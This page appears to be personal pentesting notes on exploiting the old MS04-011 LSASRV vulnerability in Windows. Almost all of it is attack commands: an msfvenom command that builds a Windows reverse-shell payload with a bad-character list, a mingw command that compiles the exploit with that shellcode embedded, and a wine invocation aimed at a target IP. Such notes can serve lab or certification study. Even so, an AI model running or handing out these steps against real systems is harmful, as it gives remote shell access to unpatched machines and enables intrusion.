> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/exploits/ms04-011-lsasrv.md). # MS04-011 - LSASRV Generating reverse shell payload ``` msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows ``` Compile the exploit with your shellcode inside * ``` i686-w64-mingw32-gcc ms04011-lsasrv-expl.c -o ms04-011 -lws2_32 ``` Running it ``` wine ms04-011.exe 1 10.3.3.7 443 443 -t ```